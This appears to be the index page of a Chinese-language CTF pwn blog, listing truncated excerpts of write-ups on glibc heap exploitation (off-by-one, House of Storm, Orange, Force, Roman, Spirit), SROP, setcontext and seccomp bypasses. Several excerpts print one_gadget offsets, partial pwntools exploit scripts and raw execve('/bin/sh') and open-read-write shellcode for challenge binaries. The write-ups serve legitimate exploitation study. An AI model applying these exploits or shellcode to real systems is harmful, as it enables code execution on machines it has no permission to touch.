    ubuntu16.04 LTS的onegadget如下 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL 可以推出以下16个联合攻击方式 p64(0x4526a+base)+p64(libc.sym['realloc']) [rsp-0x40] == NULL (*) p64(0x4526a+base)+p64(2+libc.sym['realloc']) [rsp-0x38] == NULL (*) p64(0x4526a+base)+p64(4+libc.sym['realloc']) [rsp-0x30] == NULL (*) p64(0x4526a+base)+p64(6+libc.sym['realloc']) [rsp-0x28] == NULL (*) p64(0x4526a+base)+p64(11+libc.sym['realloc']) [rsp-0x20] == NULL (*)...
    Read more
  • UAF With Out One_gadget

    最近在buuoj上做了比较有收获的一题把学到的东西总结一下,主要用两个方向一个ptrace另一个是orange + setcontxt ptrace主要是了解其主要的用法,并自己动手写一写. orange + setcontxt我感觉在很多情况下挺有用的,现在很多题都用到了setcontext,可以总结一下来搞一个模版之类的,可能另起一篇博客。 题目在buuoj上有复现 我在Github上的备份(其中raw为原版binary,pwn是我为了方便调试patch后版本) exp.py pwn raw ➜ ciscn_2019_final_4 checksec ./raw [*] '/home/n132/Desktop/ciscn_2019_final_4/raw' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) 程序除了没开PIE其他都开了,有add,show,free三个功能,add中输入为read比较nice的.. 主要的漏洞是free中没有清空指针,造成了UAF 以上是基本情况,接下来是本题特殊的地方,主要有两个部分:seccmp,ptrace 本题一开始就关掉了execve ➜ ciscn_2019_final_4 seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x35 0x02 0x00...
    Read more
  • OFF-BY-ONE:TYPICAL

    主要利用方式是: OFF BY ONE -> double free add(0x400)#0 add(0x88)#1 add(0x88)#2 free(0) add(0x18)#0 edit(0,'A'*0x18) add(0x88)#3 add(0x88)#4 free(3) free(1) add(0x88) show(4) #get leak add(0x78) free(4) free(3) #double free off by one free chunk 4 into fastbin malloc 0x80 之后 free 为了留下libc地址 malloc 0x200 Overlap partial write modify stdout to leak free chunk 4 into fastbin edit to write fd modify __malloc_hook double...
    Read more
  • IO

    @ad2019-07-06 虽然做FMT_STRING漏洞的题目已经挺多了,但是对于printf实现过程也只是处于了解阶段,想要借着完成printable@pwnable.tw的机会仔细理解一下源码(虽然我还没做出来,但我感觉这题和fmtstr内部没什么多大关系),因为白天有事情时间有限可能完成得断断续续,分析的粒度主要看精力如果在接受完白天的摧残后晚上精力比较充沛可能分析的比较仔细,如果脑子快运作不起来了的话粒度可能比较粗。 首先是最开始的程序 #include<stdio.h> int main() { printf("n132\n"); } 看似很简单的printf其实内部的实现是非常复杂的. 其入口位于glibc/stdio-common/printf.c //glibc-2.23 int __printf (const char *format, ...) { va_list arg; int done; va_start (arg, format); done = vfprintf (stdout, format, arg); va_end (arg); return done; } #undef _IO_printf ldbl_strong_alias (__printf, printf); 可以看出主要实现在vfprintf里,跟过去就会发现一个400多行的函数,直接啃难度太大的,我就先把vfprintf放到一边,复习一遍最基本的输入输出. 学过操作系统的应该都了解进程空间分为内核空间和用户空间,内核空间会提供一些系统调用来给运行在用户空间的程序用以完成一些基本的任务,像是读写打开什么的.这些系统调用可以完成最基本的工作,其他复杂的函数是通过许多的基本系统调用组合而成的。关于输入输出最基本的就是x64的0号调用sys_read和1号调用sys_write 下面是通过系统调用输入输出的一个demo int main() { asm( "xor %rax,%rax\n" "mov $0x9,%al\n" "mov $0xcafe000,%rdi\n" "mov $0x1000,%rsi\n" "mov $0x3,%rdx\n" "mov...
    Read more
  • OFF_BY_ONE:2.2n

    OFF_BY_ONE 番外篇: 在不同libc下的利用探索 (2.23 2.27 2.29) 此为OFF_BY_ONE番外娱乐篇 尝试以下各个版本libc下如何利用OFF_BY_ONE 2.23与2.27使用的binary为QCTF_2018的babyheap 2.29下使用的binary是0ctf2019-final的babyheap2.29 本文所述OFF_BY_ONE均为NULLBYTE 主要起因是我做0ctf2019的babyheap2.29发现我之前了解的不太全面 程序比较简单全保护,漏洞点在add处的OFF_BY_ONE 没有edit有show,输入会在后面加\x00截断. libc-2.23这里作为没有tcache机制的代表之前已经被玩烂了.主要的探索过程在原始篇已经讲的较为详细这里直接贴上一般利用过程. add(0x400)#0 add(0x88)#1 add(0x88)#2 free(0) add(0x18,"A"*0x18)#0 add(0x88)#3 add(0x88)#4 free(3) free(1) add(0x1e0-8)#fill 这时候就可以造成overlap之后 有泄漏 可以通过overlap泄漏,之后通过double_free或者overlap做fastbin_atk来继续exp. 没泄漏但是给了用重要意义的地址 尝试通过 House of storm 控制 没泄漏的话可以用Unsorted bin攻击 控制stdout 或者hooks去做partial_write(概率较低一般比较难打通.) 反正有了Overlap之后大家就可以根据题目特性和环境特性各显神通啦。 之前那篇也主要讲没有tcache的情况所以在,这里只做简单的复习. 这里简单地贴上exp from pwn import * def cmd(c): p.sendlineafter(":\n",str(c)) def add(size,c="A\n"): cmd(1) p.sendlineafter(": \n",str(size)) p.sendafter(": \n",c) def cheat(size): cmd(1) p.sendlineafter(": \n",str(size))...
    Read more
  • RCTF2019_syscall_interface

    bianry 题目提供了syscall的借口但是只有一个可用参数 禁止用[0x38,0x3b]的调用 全保护 对系统调用的熟悉程度或者说是学习能力比较重要. 发现自己还是知道的太少了. 本篇无干货建议移步原文. 比赛的时候没做出来赛后看的balsn的write_up TQL 这个思路很奇妙 135号调用一个参数:unsigned int personality 查看手册http://man7.org/linux/man-pages/man2/personality.2.html READ_IMPLIES_EXEC (since Linux 2.6.8) With this flag set, PROT_READ implies PROT_EXEC for mmap(2). 这个调用可以设置程序的一些…personality? 真有那么好的事情吗…read就是exec试试看. //https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/sys/personality.h.html enum { UNAME26 = 0x0020000, ADDR_NO_RANDOMIZE = 0x0040000, FDPIC_FUNCPTRS = 0x0080000, MMAP_PAGE_ZERO = 0x0100000, ADDR_COMPAT_LAYOUT = 0x0200000, READ_IMPLIES_EXEC = 0x0400000, ADDR_LIMIT_32BIT = 0x0800000, SHORT_INODE = 0x1000000, WHOLE_SECONDS = 0x2000000, STICKY_TIMEOUTS...
    Read more
  • Null

    发现我做题的一个特性…就是遇到了不会做的题目之后它后面放出的题目连洞都找不到… Rctf_2019 many_note 比赛的时候洞都找不到…遇到遭遇较少的场景就比较慌… 复线的时候在balsn的wp中发现这题应该起源于 N1ctf_2018 Null 于是就先去去做一下Null 比赛后发现洞就比较清晰了….说到底还是做题太少了知识面太窄了. 通过此题拓展一下关于thread_heap的技能点 [*] '/home/n132/Desktop/null' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) 没开pie. 主线程逻辑比较简单,输入准备好了自后睡3秒就新开了一个线程主线程 然后等待线程推出 主要有三个功能: add exit system(‘/usr/bin/id’) add 比较独特: input the size:[0,0x4000] input the pad blocks:[0,1000] malloc(size) * pad malloc(size) (可以输入但是输入之后指针就丢掉了) 整个题目形式比较新,只有add就像/dev/null像个黑洞… 比赛的时候没有看出来…,结束后看题目脑子特别清醒…发现因为操作比较单一所以容易出现问题的地方应该是输入… for ( i = 0LL; ; i += v3 )...
    Read more
  • RCTF2019_shellcoder

    I did not get the flag in the competition …Because I traveled in contrary directions. … binary This a statically linked binary . We need to exploit it by 7 byte-shellcode It sets registers before executing our shellcode. And the registers looks like : RAX 0x0 RBX 0x0 RCX 0x0 RDX 0x0 RDI 0x7fbfb603e000 ◂— xchg rdi, rsi /* 0xf4050ff289f78748...
    Read more
  • RCTF2019_Babyheap

    binary I am struggling to finish my write_up with my poor English… This challenge combined House_of_storm And Seccompt I shoul pwn it earlier , I wasted too much time on passby the SECCOMP to get a shell (In Fact I can Just cat the flag…) It is amazing . I have wrote a essay about it LINK there are some...
    Read more
  • BUFFER

    (pwn)出题的时候没什么特殊需求都会对stdout,stdin设置: setvbuf(stdout,0,2,0); setvbuf(stdin,0,2,0); 但是一直对缓冲区只有个模糊的概念..这次完整地学一遍… 缓冲区又称为缓存,它是内存空间的一部分。也就是说,在内存空间中预留了一定的存储空间,这些存储空间用来缓冲输入或输出的数据,这部分预留的空间就叫做缓冲区。 计算机对内存的读写速度远超硬盘的读写速度,提高计算机速度可从减少对硬盘的操作次数。 所以可以每次读写的时候多读(写)一些放在缓冲区中如果下次需要再去读可以直接在缓冲区中读取。 总的来说就是提高计算机速度。 定义在glibc/libio/iosetvbuf.c中 //https://code.woboq.org/userspace/glibc/libio/iosetvbuf.c.html#_IO_setvbuf #define _IOFBF 0 /* Fully buffered. */ #define _IOLBF 1 /* Line buffered. */ #define _IONBF 2 /* No buffering. */ 一共有三种类型:全缓冲,行缓冲,无缓冲 我们常用的setvbuf(stdout,0,2,0)中的2就是代表无缓冲输入输出直接写入文件 全缓冲的话除了强制刷新缓冲区之外只有缓冲区填满才会刷新。 行缓冲是在全缓冲上增加了遇到换行符也刷新缓冲区。 常见的stdout初始就是行缓冲缓冲区大小为8192bit 在glibc/libio/stdio.h中有定义#define BUFSIZ 8192 可以通过以下程序验证。 #include<stdio.h> char buf[0x123]; int main() { puts("n132"); printf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI");//"A"*0x400+"I" read(0,buf,0x132); } 程序会输出1024个”A”但是”I”会留在缓冲区中 输出结束后stdout情况如下 n132>>> p *stdout $1 = { _flags =...
    Read more
  • EXIT_HCTF2018_the_end

    对exit相关知识接触的太少今天乘着做题多读一些源码顺便拓展一些相关知识. exit()和_exit()以及_Exit()函数的本质区别是是否立即进入内核,_exit()以及_Exit()函数都是在调用后立即进入内核,而不会执行一些清理处理,但是exit()则会执行一些清理处理 void _exit (int status) { while (1) { #ifdef __NR_exit_group INLINE_SYSCALL (exit_group, 1, status); #endif INLINE_SYSCALL (exit, 1, status); #ifdef ABORT_INSTRUCTION ABORT_INSTRUCTION; #endif } }b call了 系统调用exit退出了. void exit (int status) { __run_exit_handlers (status, &__exit_funcs, true, true); } 接着看__run_exit_handlers //https://code.woboq.org/userspace/glibc/stdlib/exit.c.html#__run_exit_handlers void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors) { /* First, call the TLS...
    Read more
  • Starctf2019_Heap_master

    很自由的一题但是了解下去发现题目的各个思路还是很巧妙的. 先讲几个在这题中学到新姿势 其作用是用户上下文的获取和设置 所以我们在可以小范围控制执行流已知libc_base但不足以完成我们的目标时可以先跳setcontext+53来扩大控制范围.. 感觉非常好用..可以直接控制大部分寄存器和执行流. 0x7ffff7a7d4a0 <setcontext>: push rdi 0x7ffff7a7d4a1 <setcontext+1>: lea rsi,[rdi+0x128] 0x7ffff7a7d4a8 <setcontext+8>: xor edx,edx 0x7ffff7a7d4aa <setcontext+10>: mov edi,0x2 0x7ffff7a7d4af <setcontext+15>: mov r10d,0x8 0x7ffff7a7d4b5 <setcontext+21>: mov eax,0xe 0x7ffff7a7d4ba <setcontext+26>: syscall 0x7ffff7a7d4bc <setcontext+28>: pop rdi 0x7ffff7a7d4bd <setcontext+29>: cmp rax,0xfffffffffffff001 0x7ffff7a7d4c3 <setcontext+35>: jae 0x7ffff7a7d520 <setcontext+128> 0x7ffff7a7d4c5 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0] 0x7ffff7a7d4cc <setcontext+44>: fldenv [rcx] 0x7ffff7a7d4ce <setcontext+46>: ldmxcsr DWORD PTR...
    Read more
  • House Of Storm

    西湖论剑初赛的时候遇到了storm感觉自己太菜了 乘机做了一下出处:0ctf2018_heapstorm2.关于large unsorted 方面的题目还是做的太少了. 题目出得太棒了感谢出题人,感觉最后的large bin + unsorted 链入控制任意已知地址玩得太秀了. 乘着这次机会读挺久源码…理解的确更加深入了. 感谢veritas501对largebin的分享,感谢sakura关于0ctf2018_heapstorm2的分析非常详细,感谢keenan关于stormnote的exp (看完不理解调一遍就理解了),感谢seebug.提供了已经总结得不错的减少了我看源码的时间学习资料 百度百科 int mallopt(int param,int value) param 的取值可以为M_CHECK_ACTION、M_MMAP_MAX、M_MMAP_THRESHOLD、M_MXFAST(从glibc2.3起)、M_PERTURB(从glibc2.4起)、M_TOP_PAD、M_TRIM_THRESHOLD M_MXFAST:定义使用fastbins的内存请求大小的上限,小于该阈值的小块内存请求将不会使用fastbins获得内存,其缺省值为64。 例如mallopt(1,0).关闭fastbin 相关介绍我在上篇博客中已有提及 LINK 探索动手过程可能比较冗长无趣可以直接跳到下一节 large chunk head结构 ------------------------- |pre_size |size | |FD |BK | |fd_nextsize|bk_nextsize| ------------------------- 和一般的bins区别的地方是多了两个指针fd_nextsize,bk_nextsize 先来看看larginbin放入条件: 遍历 unsorted bin 中的 chunk, 如果请求的 chunk 是一个 small chunk, 且 unsorted bin 只有一个 chunk, 并且这个 chunk 在上次分配时被使用过(也就是 last_remainder), 并且 chunk 的大小大于...
    Read more
  • Starctf2019_upxofcpp

    比赛的时候没有做出来… 感觉这题好多不知道的东西… 发现汇编还可以这样写… 学到了…可以jmp .+0x10表示跳当前地址+0x10.. 可能是2字节或者5字节主要看n和符号例如+0x81和-0x7e 用到时候直接ipython试试 汇编没学好…感觉这个超灵活.shellcode可以不连续了…还可以往回跳.. 简单了解了一下..这几天准备出题比较忙之后填坑…seebug 何时会触发 malloc_consolidate(仅对 _int_malloc 函数而言):small bins 尚未初始化&需要 size 大于 small bins malloc_consolidate 如何进行合并:遍历 Fastbins 中的 chunk, 设置每个 chunk 的空闲标志位为 0, 并合并相邻的空闲 chunk, 之后把该 chunk 存放到 unsorted bin 中.Fastbins 是单向链表, 可以通过 fastbin->fd 遍历 Fastbins. 这个函数简单来说就是整理fastbin能合并的合并放入unsortedbin 还没去啃源码但是发现在free一个chunk放入topchunk的时候会触发. 本来感觉也没啥..后来发现是too young too navie ... 我做不出来一个是不知道上面的asm(jmp .+_n)还有一个点是..正常的放入fast bin+add操作无法使得fd可控但是在链中…(想了挺久的就是没办法) malloc_consolidate的好处是往fd&bk上填了main_arena+88.. 而main_arena+0x8是last_remain..其最开始的8字节属于刚被malloc的chunk所以可控 而且main_arena+0x10是unsorted bin[0]其最开始的8字节可控…. 这就很巧妙地和上面的asm(jmp .+_n)结合起来…恰好可以一起完成exp.. 题目中是简单的 ./upx -d...
    Read more
  • Patch4Pwn

    主要来源p4nda IDA下patch主要是原有的patch功能和添加的插件例如keypatch 安装(for mac): https://github.com/fjh658/keystone-engine https://github.com/keystone-engine/keypatch git clone https://github.com/fjh658/keystone-engine.git cd keystone-engine git submodule update --init --recursive sudo python setup.py install --verbose cp -rf /usr/local/lib/python2.7/site-packages/keystone /Applications/IDA\ Pro\ 7.0/ida.app/Contents/MacOS/python/ brew install cmake control+option+k可以直接打汇编指令也可以用符号.(长度不足补齐nop) 右键可以search 汇编指令 这个还不知道keypatch咋整…如果使用patchpyte过程如下 例如替换printf为puts 即call printf ======>call puts 原来的值 old puts@plt printf@plt new_address:(old+puts-printf) 改变比较有限,不能call 没有plt的函数.不能hook mac上没装成功ubuntu好像直接pip install lief就可以了 说明文档太长还没去看… https://lief.quarkslab.com/doc/latest/api/python/elf.html#segment 直接改strtab 例如fmtstr漏洞修复:printf==>puts (注意这里比较暴力注意其他地方有没有用printf的,是否受影响…) 脚本如下 # @n132 import lief import...
    Read more
  • OFF_BY_ONE

    做了挺多 off by one 有点感悟总结一下. 在此感谢楠姐@Keenan的关于shrink+unlink的思路 以及xman时张燕秒老师关于off_by_one的启蒙 溢出漏洞,但是又非常有限制只有溢出一个字节,而在一般off by one情况下溢出的往往是null_byte:\x00. 本文仅讨论heap 上出现的off by one 导致漏洞的情况非常多,我在这里列出在ctf比赛中最常见的几种情况: Case I: char *buf=malloc(0x88); unsigned int n=read(0,buf,0x88) buf[n]=0; Case II: char *buf=malloc(size); read(0,buf,size) buf[size]=0 Case III #此处不只有溢出1字节可操作性也很大. unsigned int n=strlen(chunk_ptr); read(0,chunk_ptr,n); 比较安全的话输入可以使用fgets虽然我做题目的时候非常讨厌看到它. 主要漏洞的成因是我们可以溢出一个字节,但是那个字节在ptmalloc中又非常的重要,涉及到了 chunksize ,inuse.所以我们主要从chunksize和inuse来设计我们的攻击方式 对chunksize的修改可以分为两种 extend和shrink //图片是在xmanppt里面偷来的. 要求比较高但是利用起来简单. 要求对溢出的那一个字节不为null byte这样就可以拓展chunk 常见的利用方式有两个free + modify 和modify + free 先free 进入unsorted bin 之后改变 size 以达到overlap的或者overflow的目的 改变现有chunk B的size...
    Read more
  • SROP_SMALLEST

    SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。#摘自ctfwiki paper slide 原理及内容在ctfwiki上已经介绍的比较清楚 执行0xf号(将栈上已经预先放置好的数据弹出)==>控制执行流 可以设置esp达到连续攻击的效果. 较大空间 放置signal frame(约0x100) 泄露地址 syscall-address 理解了感觉没什么难的..利用了15号调用可以劫持执行流.. 想出这个的人真厉害… binary ```python from pwn import * context.log_level=’debug’ main=0x0000000004000B0 syscall=0x00000000004000be p=process(‘./smallest’) context.arch=’amd64’ shellcode=asm(shellcraft.sh()) p.send(p64(main)*3) sleep(0.3) #1 raw_input() p.send(“\xb3”) p.read(8) stack=u64(p.read(8)) log.warning(hex(stack)) sig=SigreturnFrame() sig.rax=0...
    Read more
  • Relro_Review

    周末的时候忙里偷闲做了一下2k19的一个比赛里面有binary的都比较简单..没binary的比较懒没去看..但是有道题做不出来…baby2. 比完之后看了wp发现使用_dl_runtime_resolve之前有做过当时搞懂了但是复现的时候发现自己一脑茫然…还是重学一遍…长久不用就忘记了. winesap_社课比较长比较详细…没时间的我打算自己通过源码复习… https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/elf.h 主要涉及两个结构体 这里摘录一下 #Elf32_Rel size=0x8 typedef struct elf32_rel { Elf32_Addr r_offset;//got Elf32_Word r_info;//idx } Elf32_Rel; #Elf32_Rela size=0xc typedef struct elf32_rela{ Elf32_Addr r_offset;//got Elf32_Word r_info;//idx Elf32_Sword r_addend; } Elf32_Rela; #Elf32_Sym size=0x18 typedef struct elf32_sym{ Elf32_Word st_name;//offset Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Half st_shndx; } Elf32_Sym; #Elf64_Rel size=0x10 typedef struct elf64_rel { Elf64_Addr r_offset;...
    Read more
  • string&vector

    环境 ➜ string g++ --version g++ (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609 Copyright (C) 2015 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. ➜ string /lib/x86_64-linux-gnu/libc-2.23.so GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al. Copyright...
    Read more
  • House_of_force

    #0x00 House of 系列归纳中的一篇.题目还是比较简单可以作为House_of_force的教学题. 2016BCTF_bcloud 通过某些手段改写top_chunk的size 很大例如(0xffffffff) 假设malloc sise不受限制,我们想要控制Aim_address,目前Top地址为Top_address 我们只要malloc Aim_address-Top_address之后再malloc一次就可以控制Aim_address. 主要是要求malloc的size可控且大小不受限制,可以控制topchunk_size ➜ House_of_force checksec bcloud [*] '/home/n132/Desktop/House_of_force/bcloud' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) 发现可以写got表且没有PIE 程序先输入名字再输入ORG HOST然后开始标准菜单题只是没有show puts("Input your name:"); readuntil((unsigned int)&s, 64, 10); v2 = (char *)malloc(0x40u); name = (int)v2; strcpy(v2, &s); warm_welcome((int)v2); & char s; // [esp+1Ch] [ebp-5Ch] char...
    Read more
  • House-of-Roman

    House of Roman 主要是利用了 &main_arena+0x58 和一些 one_gadget位置接近只要partial write 就可以不需要leak. UAF control size(any_size_malloc   off by one   overflow) no leak mainly: fast bin atk unsorted bin atk partial write 从经典的一个题目讲起 new_chall Noleak malloc 任意大小chunk 可以覆盖next_chunk_size read(0, heap_ptrs[v1], v2 + 1); UAF if ( v0 <= 19 ) free(heap_ptrs[v0]); fastbin atk to control malloc_hook unsorted bin to make malloc_hook=&main_arena+0x58 partial write...
    Read more
  • House of Orange

    长久没用今天做IO_FILE的时候重做了一遍感觉 理解更深。 顺便追了一下关于IO_FILE的源码 程序主要有两个结构体:info & house info struc ; (sizeof=0x8, mappedto_9) 00000000 price dd ? 00000004 color dd ? 00000008 info ends 00000008 house 00000000 house struc ; (sizeof=0x10, mappedto_6) 00000000 infomation dq ? ; offset 00000008 name dq ? 00000010 house ends 主要功能有: add():4次 upgrade():3次 show() 保护全开 主要漏洞点比较清楚edit的时候可以任意输入size int edit() { info *info_ptr; // rbx unsigned int size; //...
    Read more
  • House of Spirit

    应该spirit 来源于这里 https://pwnable.tw/challenge/#22 spirited away 主要的功能是写影评. ➜ spirited_away checksec spirited_away [*] '/home/n132/Desktop/spirited_away/spirited_away' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 程序比较简单输入名字输入为啥看这部电影 感受如何. 主要的漏洞点也比较常规. sprintf(&v1, "%d comment so far. We will review them as soon as we can", cnt); char v1; // [esp+10h] [ebp-E8h] size_t nbytes; // [esp+48h] [ebp-B0h] 这里只要cnt长度>(0x38-54)=3 v1可以溢出覆盖到nbyte 原本nbyte=0x3c 会被覆盖成n也就是0x6e...
    Read more
  • auxv:origin_of_canaries

    学弟发给我一题 upxof… binary 我由于自己的两次sb操作导致在很简单的问题上搞了两个晚上…. 通过这题…了解了canary的起源.. 我发现没了gdb我啥都不是…壳还是极大地加大了我的调试难度…不知道对于这种题有没有debug的好方法… checksec [*] '/home/n132/Desktop/upxof' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments Packer: Packed with UPX 看到checksec本以为挺简单的…我真是too young too naivi 丢进ida发现有一个输出password然后一个输入然后做了一大堆工作..mmap然后把代码复制上去,之后好像在解壳. 想用gdb跟遇到了不少麻烦…: 1.因为没有解壳所以无法直接下断点(调了半天的我目前的方法是边下断点边c之后在下断点再c...为了应对边运行边解壳) 2.不知为啥bt一看发现都没有ebp的记录...然后导致不能随心所欲的ni...有时候一个ni或者一个finish直接gg 3.不能finish,ni导致了在一些无关的函数,循环内耗费大量时间(函数:先直接b 函数下一地址,c看看效果没啥大影响就直接过..循环:先x/8i address找到出循环的地址A,然后b *A,c...出循环..) 4.善用gdb.attach(p,‘’‘’‘’)的第二个参数..把调试命令放进去... 例如我最终的调试命令 b *0x400a2e c b *0x400c93 c b *0x800b4e c c c c b...
    Read more
  • mno2

    不附exp… …shellcode被玩坏了… 这题是用数字和元素周期表的内容写shellcode… 做的时候感觉有时候判定有问题…最好不要拿数字去充填…有时候会出错… 做完之后再也不想碰这题… ele=['\x48','\x48\x65','\x4C\x69','\x42\x65','\x42','\x43','\x4E','\x4F','\x46','\x4E\x65','\x4E\x61','\x4D\x67','\x41\x6C','\x53\x69','\x50','\x53','\x43\x6C','\x41\x72','\x4B','\x43\x61','\x53\x63','\x54\x69','\x56','\x43\x72','\x4D\x6E','\x46\x65','\x43\x6F','\x4E\x69','\x43\x75','\x5A\x6E','\x47\x61','\x47\x65','\x41\x73','\x53\x65','\x42\x72','\x4B\x72','\x52\x62','\x53\x72','\x59','\x5A\x72','\x4E\x62','\x4D\x6F','\x54\x63','\x52\x75','\x52\x68','\x50\x64','\x41\x67','\x43\x64','\x49\x6E','\x53\x6E','\x53\x62','\x54\x65','\x49','\x58\x65','\x43\x73','\x42\x61','\x4C\x61','\x43\x65','\x50\x72','\x4E\x64','\x50\x6D','\x53\x6D','\x45\x75','\x47\x64','\x54\x62','\x44\x79','\x48\x6F','\x45\x72','\x54\x6D','\x59\x62','\x4C\x75','\x48\x66','\x54\x61','\x57','\x52\x65','\x4F\x73','\x49\x72','\x50\x74','\x41\x75','\x48\x67','\x54\x6C','\x50\x62','\x42\x69','\x50\x6F','\x41\x74','\x52\x6E','\x46\x72','\x52\x61','\x41\x63','\x54\x68','\x50\x61','\x55','\x4E\x70','\x50\x75','\x41\x6D','\x43\x6D','\x42\x6B','\x43\x66','\x45\x73','\x46\x6D','\x4D\x64','\x4E\x6F','\x4C\x72','\x52\x66','\x44\x62','\x53\x67','\x42\x68','\x48\x73','\x4D\x74','\x44\x73','\x52\x67','\x43\x6E','\x46\x6C','\x4C\x76'] ele+=['1','2','3','4','5','6','7','8','9','0'] 寻找可用的元素.. 凑/bin/sh 凑int 0x80 我是一个一个…试过去…数字组合当时没有想到..做得好辛苦i ''' [H] dec eax 0x47 [He] would not be used [B] inc edx 0x42 [C] inc ebx 0x43 [N] dec esi 0x4e [O] dec edi 0x4f [F] inc esi 0x46 [Ne] would not be used [P] push eax 0x50 [S] push ebx 0x53 [K] dec ebx 0x4a [Fe]...
    Read more
  • pwnable-tw Trip

    checksec发现保护都没开,应该是直接写shellcode然后ret2shellcode。 EXP: from pwn import * context.log_level='debug' shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' #p=remote("chall.pwnable.tw",10000) print len(shellcode) p=process("./start") print p.recvuntil(":") raw_input() p.sendline("".ljust(20,'x')+p32(0x8048087)) data=p.recv() leak=(u32(data[:4])) print hex(leak) sleep(1) p.sendline('a'*20+p32(leak+20)+shellcode) checksec之后依然什么保护都没开于是丢进了IDA 发现使用了PR_GET_NO_NEW_PRIVS 避免安全漏洞,白名单:open,read,write 于是我们可以写shellcode: open /home/orw/flag read flag write flag from pwn import * shellcode = '' shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6fpush 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;') shellcode +=...
    Read more
2018
  • BCTF2018:house_of_atum

    建议和three一起做.很多逻辑都差不多 增加了一个edit功能 但是减少了一个可以控制的point magic of tcache & fast bin checksec ➜ Desktop checksec houseofAtum [*] '/home/n132/Desktop/houseofAtum' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 全保护 主要的漏洞点也和three 一样:uaf ➜ Desktop checksec houseofAtum [*] '/home/n132/Desktop/houseofAtum' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ➜ Desktop 但是主要的限制是: if ( v1 <...
    Read more
  • BCTF2018:three

